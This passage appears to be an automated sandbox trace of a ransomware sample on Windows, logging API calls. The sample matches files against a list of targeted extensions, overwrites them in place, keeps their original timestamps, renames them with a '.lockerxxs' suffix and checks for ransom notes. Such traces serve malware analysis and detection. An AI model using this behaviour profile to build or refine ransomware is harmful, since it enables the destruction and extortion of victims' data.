nzVfqbCqi.csv.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv.lockerxxs" [0086.667] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\n nzvfqbcqi.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.668] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x164b1 [0086.668] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x997a5f40, dwHighDateTime=0x1d5db53), lpLastAccessTime=0x407536*(dwLowDateTime=0x149e1c10, dwHighDateTime=0x1d5d7e0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x149e1c10, dwHighDateTime=0x1d5d7e0)) returned 1 [0086.668] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.668] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1648b, lpOverlapped=0x0) returned 1 [0086.670] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv") returned="N nzVfqbCqi.csv" [0086.671] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.671] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1648b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1648b, lpOverlapped=0x0) returned 1 [0086.671] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.671] CloseHandle (hObject=0x90) returned 1 [0086.672] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\n nzvfqbcqi.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\n nzvfqbcqi.csv.lockerxxs")) returned 1 [0086.673] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ae21060, ftCreationTime.dwHighDateTime=0x1d5e341, ftLastAccessTime.dwLowDateTime=0x6756b140, ftLastAccessTime.dwHighDateTime=0x1d5e147, ftLastWriteTime.dwLowDateTime=0x6756b140, ftLastWriteTime.dwHighDateTime=0x1d5e147, nFileSizeHigh=0x0, nFileSizeLow=0x12d5c, dwReserved0=0xda0001db, dwReserved1=0x4e00c4, cFileName="n-xMqJIMurha9.jpg", cAlternateFileName="N-XMQJ~1.JPG")) returned 1 [0086.673] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.673] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="n-xMqJIMurha9.jpg") returned -1 [0086.673] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="n-xMqJIMurha9.jpg") returned -1 [0086.673] lstrcmpiA (lpString1="", lpString2="n-xMqJIMurha9.jpg") returned -1 [0086.673] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv") returned="N nzVfqbCqi.csv" [0086.673] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.673] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.673] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.673] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.674] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="n-xMqJIMurha9.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg" [0086.674] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.ems") returned 0 [0086.674] lstrlenA (lpString="*.ems") returned 5 [0086.674] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.db") returned 0 [0086.674] lstrlenA (lpString="*.db") returned 4 [0086.674] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.dbf") returned 0 [0086.674] lstrlenA (lpString="*.dbf") returned 5 [0086.674] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.myox") returned 0 [0086.674] lstrlenA (lpString="*.myox") returned 6 [0086.674] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.myo") returned 0 [0086.674] lstrlenA (lpString="*.myo") returned 5 [0086.674] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.qbw") returned 0 [0086.674] lstrlenA (lpString="*.qbw") returned 5 [0086.674] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.qbb") returned 0 [0086.674] lstrlenA (lpString="*.qbb") returned 5 [0086.674] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.qbm") returned 0 [0086.674] lstrlenA (lpString="*.qbm") returned 5 [0086.674] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.qbo") returned 0 [0086.674] lstrlenA (lpString="*.qbo") returned 5 [0086.674] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.qbx") returned 0 [0086.674] lstrlenA (lpString="*.qbx") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.qba") returned 0 [0086.675] lstrlenA (lpString="*.qba") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.qby") returned 0 [0086.675] lstrlenA (lpString="*.qby") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.qbj") returned 0 [0086.675] lstrlenA (lpString="*.qbj") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.ofx") returned 0 [0086.675] lstrlenA (lpString="*.ofx") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.qif") returned 0 [0086.675] lstrlenA (lpString="*.qif") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.mye") returned 0 [0086.675] lstrlenA (lpString="*.mye") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.mbox") returned 0 [0086.675] lstrlenA (lpString="*.mbox") returned 6 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.eml") returned 0 [0086.675] lstrlenA (lpString="*.eml") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.pst") returned 0 [0086.675] lstrlenA (lpString="*.pst") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.ost") returned 0 [0086.675] lstrlenA (lpString="*.ost") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.idx") returned 0 [0086.675] lstrlenA (lpString="*.idx") returned 5 [0086.675] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.dbx") returned 0 [0086.676] lstrlenA (lpString="*.dbx") returned 5 [0086.676] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.sql") returned 0 [0086.676] lstrlenA (lpString="*.sql") returned 5 [0086.676] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.mdb") returned 0 [0086.676] lstrlenA (lpString="*.mdb") returned 5 [0086.676] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.fdb") returned 0 [0086.676] lstrlenA (lpString="*.fdb") returned 5 [0086.676] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.wab") returned 0 [0086.676] lstrlenA (lpString="*.wab") returned 5 [0086.676] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.dat") returned 0 [0086.676] lstrlenA (lpString="*.dat") returned 5 [0086.676] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.txt") returned 0 [0086.676] lstrlenA (lpString="*.txt") returned 5 [0086.676] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.jpeg") returned 0 [0086.676] lstrlenA (lpString="*.jpeg") returned 6 [0086.676] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", pszSpec="*.jpg") returned 1 [0086.676] lstrlenA (lpString="*.jpg") returned 5 [0086.676] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg" [0086.676] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg" [0086.676] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg." [0086.676] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg.lockerxxs" [0086.676] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\n-xmqjimurha9.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.677] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x12d5c [0086.677] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1ae21060, dwHighDateTime=0x1d5e341), lpLastAccessTime=0x407536*(dwLowDateTime=0x6756b140, dwHighDateTime=0x1d5e147), lpLastWriteTime=0x40753e*(dwLowDateTime=0x6756b140, dwHighDateTime=0x1d5e147)) returned 1 [0086.677] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.677] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x12d36, lpOverlapped=0x0) returned 1 [0086.679] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg") returned="n-xMqJIMurha9.jpg" [0086.679] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.680] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x12d36, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x12d36, lpOverlapped=0x0) returned 1 [0086.680] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.681] CloseHandle (hObject=0x90) returned 1 [0086.681] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\n-xmqjimurha9.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\n-xmqjimurha9.jpg.lockerxxs")) returned 1 [0086.682] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70c02240, ftCreationTime.dwHighDateTime=0x1d5dc72, ftLastAccessTime.dwLowDateTime=0x39152040, ftLastAccessTime.dwHighDateTime=0x1d5dfb8, ftLastWriteTime.dwLowDateTime=0x39152040, ftLastWriteTime.dwHighDateTime=0x1d5dfb8, nFileSizeHigh=0x0, nFileSizeLow=0xdf40, dwReserved0=0xdb0001da, dwReserved1=0x4e00c4, cFileName="NnHwKGuQDgOQCT JDGl6.swf", cAlternateFileName="NNHWKG~1.SWF")) returned 1 [0086.682] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.682] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NnHwKGuQDgOQCT JDGl6.swf") returned -1 [0086.682] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NnHwKGuQDgOQCT JDGl6.swf") returned -1 [0086.682] lstrcmpiA (lpString1="", lpString2="NnHwKGuQDgOQCT JDGl6.swf") returned -1 [0086.682] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\n-xMqJIMurha9.jpg") returned="n-xMqJIMurha9.jpg" [0086.682] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.682] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.682] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.682] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.682] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="NnHwKGuQDgOQCT JDGl6.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf" [0086.682] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.ems") returned 0 [0086.683] lstrlenA (lpString="*.ems") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.db") returned 0 [0086.683] lstrlenA (lpString="*.db") returned 4 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.dbf") returned 0 [0086.683] lstrlenA (lpString="*.dbf") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.myox") returned 0 [0086.683] lstrlenA (lpString="*.myox") returned 6 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.myo") returned 0 [0086.683] lstrlenA (lpString="*.myo") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.qbw") returned 0 [0086.683] lstrlenA (lpString="*.qbw") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.qbb") returned 0 [0086.683] lstrlenA (lpString="*.qbb") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.qbm") returned 0 [0086.683] lstrlenA (lpString="*.qbm") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.qbo") returned 0 [0086.683] lstrlenA (lpString="*.qbo") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.qbx") returned 0 [0086.683] lstrlenA (lpString="*.qbx") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.qba") returned 0 [0086.683] lstrlenA (lpString="*.qba") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.qby") returned 0 [0086.683] lstrlenA (lpString="*.qby") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.qbj") returned 0 [0086.683] lstrlenA (lpString="*.qbj") returned 5 [0086.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.ofx") returned 0 [0086.683] lstrlenA (lpString="*.ofx") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.qif") returned 0 [0086.684] lstrlenA (lpString="*.qif") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.mye") returned 0 [0086.684] lstrlenA (lpString="*.mye") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.mbox") returned 0 [0086.684] lstrlenA (lpString="*.mbox") returned 6 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.eml") returned 0 [0086.684] lstrlenA (lpString="*.eml") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.pst") returned 0 [0086.684] lstrlenA (lpString="*.pst") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.ost") returned 0 [0086.684] lstrlenA (lpString="*.ost") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.idx") returned 0 [0086.684] lstrlenA (lpString="*.idx") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.dbx") returned 0 [0086.684] lstrlenA (lpString="*.dbx") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.sql") returned 0 [0086.684] lstrlenA (lpString="*.sql") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.mdb") returned 0 [0086.684] lstrlenA (lpString="*.mdb") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.fdb") returned 0 [0086.684] lstrlenA (lpString="*.fdb") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.wab") returned 0 [0086.684] lstrlenA (lpString="*.wab") returned 5 [0086.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.dat") returned 0 [0086.685] lstrlenA (lpString="*.dat") returned 5 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.txt") returned 0 [0086.685] lstrlenA (lpString="*.txt") returned 5 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.jpeg") returned 0 [0086.685] lstrlenA (lpString="*.jpeg") returned 6 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.jpg") returned 0 [0086.685] lstrlenA (lpString="*.jpg") returned 5 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.png") returned 0 [0086.685] lstrlenA (lpString="*.png") returned 5 [0086.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NnHwKGuQDgOQCT JDGl6.swf", pszSpec="*.php") returned 0 [0086.685] 